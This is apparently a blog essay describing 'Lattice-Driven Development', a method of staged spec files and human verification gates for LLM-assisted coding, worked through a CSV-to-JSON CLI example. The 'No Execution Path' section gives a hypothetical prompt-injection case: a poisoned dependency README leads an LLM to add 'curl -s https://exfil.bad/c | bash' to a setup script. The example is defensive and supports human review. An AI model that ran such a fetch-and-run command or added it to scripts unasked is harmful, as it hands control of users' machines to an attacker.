Lattice-Driven Development

Pipeline vs. Lattice

I spent years running pipelines. A then B then C. Fast feedback loop. Ship it. Find out what broke in production.

Then I hit a wall. One hallucination in step A silently corrupted everything downstream. By the time we caught it at C, the cascade had already spread. Here's how it actually played out:

# Real scenario: LLM-assisted data pipeline

# Step A: LLM summarizes customer requirements
requirements = llm("Summarize these 47 emails into requirements")
# Output: "Customer needs OAuth2 support"
# Reality: Customer said "we need OAuth2 OR SAML" -- LLM dropped SAML

# Step B: LLM generates spec from requirements (uses Step A output)
spec = llm(f"Write a spec for: {requirements}")
# Output: Spec with OAuth2 only. No SAML. Looks correct.

# Step C: LLM generates code from spec (uses Step B output)
code = llm(f"Implement this spec: {spec}")
# Output: Working OAuth2 implementation. Tests pass. Ships.

# Week 3: Customer asks "where's SAML?"
# You dig through 47 emails to find the original requirement.
# The hallucination happened at Step A. Everything after was correct
# but built on a lie.

The problem: pipelines have zero verification between steps. You only know if something is wrong after execution -- or worse, after deployment.

A lattice inverts this. Before C runs, it verifies that its input matches the contract defined by B. Before B runs, it verifies that its input matches A. Each layer is a proof, not a hope.

That's the core distinction. Pipelines assume each step is correct. Lattices verify it. In a world where your agent is an LLM that hallucinates with confidence, lattices are the only way to stay sane.

The Spec Folder

A lattice is physical. It lives in a folder. I call it spec/.

The spec folder is your ground truth. It contains five files, in dependency order:

Each file is a layer in the lattice. Each layer depends on the previous one. This creates a directed acyclic graph (DAG).

Abstractions are useless without examples. Here's what each file actually looks like for a real project -- building a CLI tool that converts CSV files to JSON.

# Domain Knowledge: CSV-to-JSON CLI

## Constraints
- Input: CSV files, UTF-8 encoded, max 500MB
- Output: JSON array of objects (one per row)
- Headers become keys. No duplicate headers allowed.
- Empty cells become null, not empty string.
- Must handle quoted fields with commas inside them (RFC 4180).

## Prior Art
- Python csv module handles RFC 4180 correctly.
- jq exists but requires JSON input (not CSV).
- csvkit exists but pulls 12 transitive dependencies.

## Invariants
- Row count in output JSON == row count in CSV (minus header).
- Key set of every JSON object == header set of CSV.
- Round-trip: csv -> json -> csv must preserve data (no silent drops).

# Spec: csv2json CLI

## Verified Against: KNOWLEDGE.md (signed off 2026-03-15)

## Interface
  csv2json input.csv [-o output.json] [--pretty] [--strict]

## Acceptance Criteria
1. Reads CSV from stdin or file argument.
2. Outputs JSON array to stdout or -o file.
3. --strict mode: reject files with duplicate headers (exit 1).
4. --pretty mode: indent JSON with 2 spaces.
5. Empty cells -> JSON null. (KNOWLEDGE: "not empty string")
6. Handles RFC 4180 quoted fields. (KNOWLEDGE: "must handle")
7. Memory: streaming parse, never load full file into RAM.

## Error Contracts
- Duplicate headers + --strict: exit 1, stderr message.
- Malformed CSV (unclosed quote): exit 2, stderr with line number.
- File not found: exit 3.

# Plan: csv2json CLI

## Verified Against: SPEC.md (signed off 2026-03-15)

TASK 1: Argument parser
  Prerequisites: (none)
  Deliverable: cli.py with argparse setup
  Verify: --help prints usage matching SPEC interface

TASK 2: Streaming CSV reader
  Prerequisites: TASK 1
  Deliverable: reader.py using csv.reader()
  Verify: handles RFC 4180 (SPEC item 6), never loads full file (SPEC item 7)

TASK 3: JSON emitter
  Prerequisites: TASK 2
  Deliverable: emitter.py, streams JSON array
  Verify: null for empty cells (SPEC item 5), --pretty works (SPEC item 4)

TASK 4: Strict mode + error handling
  Prerequisites: TASK 2
  Deliverable: validators.py
  Verify: exit codes match SPEC error contracts

TASK 5: Integration test
  Prerequisites: TASK 3, TASK 4
  Deliverable: test_csv2json.py
  Verify: round-trip invariant (KNOWLEDGE: "csv -> json -> csv")

Topological sort: 1 -> 2 -> (3, 4 in parallel) -> 5

Verification Gates

Each layer has a verification gate. A gate is a test: "Does this layer comply with the contract defined by the previous layer?"

I don't do elaborate formal verification. I do manual spot-checks. But they're systematic:

• KNOWLEDGE gate: Human reads it once. Is it factual? Is it complete? Sign off.
• SPEC gate: Human + automated check. Does SPEC satisfy all constraints in KNOWLEDGE? No contradictions? Sign off.
• PLAN gate: Human + automated check. Does PLAN cover all tasks in SPEC? Is the dependency graph acyclic? Can it execute top-to-bottom? Sign off.
• OUTPUT gate: Human + automated check. Do the generated files match PLAN? Do they work? Can they be integrated? Sign off.

Here's what a gate check actually looks like in practice. This is the SPEC gate for our csv2json example:

# GATE 2 CHECK: SPEC.md vs KNOWLEDGE.md
# Run this mentally or with an LLM as verifier

# KNOWLEDGE constraint: "Empty cells become null, not empty string"
# SPEC criterion 5: "Empty cells -> JSON null"
# VERDICT: ✓ Satisfied

# KNOWLEDGE constraint: "Must handle quoted fields (RFC 4180)"
# SPEC criterion 6: "Handles RFC 4180 quoted fields"
# VERDICT: ✓ Satisfied

# KNOWLEDGE constraint: "No duplicate headers allowed"
# SPEC criterion 3: "--strict mode: reject duplicate headers"
# VERDICT: ⚠ Partial -- what happens WITHOUT --strict?
#   Action: Add to SPEC: "Default mode: last value wins for dupes, warn to stderr"

# KNOWLEDGE constraint: "Round-trip: csv -> json -> csv must preserve data"
# SPEC criterion: ... MISSING
# VERDICT: ✗ Gap found. Add round-trip acceptance criterion to SPEC.

# GATE RESULT: BLOCKED -- 2 issues must be resolved before PLAN starts

The gates don't need to be fancy. A checklist in Markdown is enough. What matters is that each gate is explicit and blocking. You know what you're checking for, and you do not proceed until the gate passes.

Topological Execution

Once the dependency graph is defined, the execution order is determined. This is topological sort -- the same algorithm behind make, webpack, apt install, and every build system you've ever used.

You define the graph. The algorithm figures out what to build first, what can run in parallel, and what must wait.

Here's how you actually compute this. It's 20 lines of Python:

# Topological sort from a PLAN.md dependency graph
from collections import defaultdict, deque

def topo_sort(tasks):
    """Given {task: [prerequisites]}, return execution order with parallel groups."""
    in_degree = {t: len(deps) for t, deps in tasks.items()}
    dependents = defaultdict(list)
    for t, deps in tasks.items():
        for d in deps:
            dependents[d].append(t)

    queue = deque(t for t, deg in in_degree.items() if deg == 0)
    order = []
    while queue:
        # Everything in queue RIGHT NOW can run in parallel
        parallel_group = sorted(queue)
        queue.clear()
        order.append(parallel_group)
        for t in parallel_group:
            for dep in dependents[t]:
                in_degree[dep] -= 1
                if in_degree[dep] == 0:
                    queue.append(dep)
    return order

# csv2json PLAN.md as a dependency graph
plan = {
    "T1_argparse":     [],
    "T2_csv_reader":   ["T1_argparse"],
    "T3_json_emitter": ["T2_csv_reader"],
    "T4_validators":   ["T2_csv_reader"],
    "T5_integration":  ["T3_json_emitter", "T4_validators"],
}

for i, group in enumerate(topo_sort(plan)):
    status = "(parallel)" if len(group) > 1 else ""
    print(f"  Step {i+1}: {', '.join(group)} {status}")

# Output:
#   Step 1: T1_argparse
#   Step 2: T2_csv_reader
#   Step 3: T3_json_emitter, T4_validators (parallel)
#   Step 4: T5_integration

This matters because it eliminates scheduling mistakes. If you forget that Task 4 depends on Task 3, you'll discover it when the topo sort puts them in the wrong order -- and the verification gate catches the broken input. The error surfaces at design time, not at runtime.

No Execution Path

Here's where LDD gets strange and powerful: the LLM never gets direct access to the shell.

In a typical workflow, you write a prompt, the LLM generates a bash script, and you run it. If the prompt is malicious or compromised, the LLM can execute arbitrary code. Here's how that looks:

# Pipeline workflow: prompt -> code -> execute (no human gate)

user_request = "Set up the project database"

# LLM generates a setup script
llm_output = llm(f"Write a bash script to: {user_request}")

# What you expected:
#   createdb myproject && psql myproject < schema.sql

# What the LLM actually generated (context window was poisoned
# by a malicious README in a dependency you pulled):
#   createdb myproject && psql myproject < schema.sql
#   curl -s https://exfil.bad/c | bash

# In a pipeline, this runs automatically:
subprocess.run(llm_output, shell=True)  # game over

LDD inverts this. The LLM generates files. A human reads them. The human decides whether to execute. The LLM's output is never executable -- it's always a declaration.

# Lattice workflow: prompt -> file -> human review -> execute

# LLM writes to OUTPUT/setup_db.sh (a FILE, not a command)
# Human reads it, sees the curl line, deletes it.
# Human runs the clean version manually.
# The malicious payload never executed.

# Even better: PLAN.md said "Task: create database"
# Gate 4 checks: "Does setup_db.sh do only what PLAN says?"
# Answer: No -- it has an unauthorized curl command.
# Gate BLOCKS. Human investigates. Threat neutralized.

This is why I call it "no execution path." The LLM proposes, but it never executes. The human is always in the loop.

Formal Foundations

LDD isn't just engineering intuition. It maps onto three well-established formal frameworks. You don't need to know the math to use LDD, but understanding why it works helps you extend it.

Design by contract (Meyer, 1986). Each spec file is a contract with preconditions, postconditions, and invariants. KNOWLEDGE defines invariants. SPEC defines pre/post conditions. PLAN satisfies the contract. This is not metaphorical -- it's the same structure Eiffel and Ada use for software correctness.

# Design by contract, applied to spec layers

# KNOWLEDGE.md defines the INVARIANT:
#   "Row count in JSON == row count in CSV minus header"

# SPEC.md defines the CONTRACT:
#   Precondition:  input is valid UTF-8 CSV
#   Postcondition: output is valid JSON array
#   Invariant:     len(json_array) == csv_rows - 1

# PLAN.md SATISFIES the contract:
#   Task 2 ensures precondition (CSV reader validates UTF-8)
#   Task 3 ensures postcondition (JSON emitter writes valid array)
#   Task 5 ensures invariant (integration test checks row counts)

# If any task violates the contract, its gate BLOCKS.
# The contract is checkable because it's explicit.

Partial order and lattice theory. Dependency is a relation: A ≤ B means "A must complete before B." This induces a DAG. Topological sort finds a linear extension -- a valid execution sequence. The "lattice" name is precise: the spec layers form a bounded lattice where KNOWLEDGE is the top element (most constrained) and OUTPUT is the bottom (most concrete).

Entropy reduction. Each layer removes entropy (uncertainty) from the solution space. KNOWLEDGE starts with high entropy -- many systems could satisfy the domain facts. SPEC cuts it down. PLAN cuts further. OUTPUT is a single point in the space. This is why the order matters: you can't reduce entropy at the PLAN layer if SPEC hasn't reduced it first. Each gate verifies that entropy actually decreased -- that the layer is strictly more constrained than the one above it.

Getting Started

You don't need to rewrite your entire workflow. Start with the next feature. Here's the exact sequence:

# Step 1: Create the folder
mkdir -p spec/

# Step 2: Write KNOWLEDGE.md (human only, 1 hour max)
cat > spec/KNOWLEDGE.md << 'EOF'
# Domain Knowledge: [YOUR FEATURE]

## Constraints
- [What must be true? What are the hard limits?]
- [What formats, sizes, protocols are involved?]

## Prior Art
- [What exists already? What did you try before?]
- [What libraries/tools are relevant?]

## Invariants
- [What must ALWAYS be true, before and after execution?]
- [These become your integration tests.]
EOF

# Step 3: Draft SPEC.md (LLM drafts, human verifies against KNOWLEDGE)
# Prompt: "Given this KNOWLEDGE.md, write a SPEC with acceptance criteria"
# Then run Gate 2: every KNOWLEDGE constraint maps to a SPEC criterion

# Step 4: Draft PLAN.md (LLM drafts, human verifies against SPEC)
# Prompt: "Given this SPEC.md, decompose into tasks with prerequisites"
# Then run Gate 3: DAG is acyclic, every SPEC criterion has a task

# Step 5: Execute PLAN (LLM generates, human reviews at each gate)
# For each task in topo-sort order:
#   1. LLM generates output
#   2. Human runs Gate 4: does output match PLAN task?
#   3. If gate passes, move to next task
#   4. If gate fails, LLM regenerates (not the human fixing it)

That's it. No fancy tooling. No formal verification software. Just structure, gates, and honesty about what you know and what you don't.

The result: fewer bugs, faster development, and -- most importantly -- sleep. You know what your system will do before it does it. The lattice holds the proof.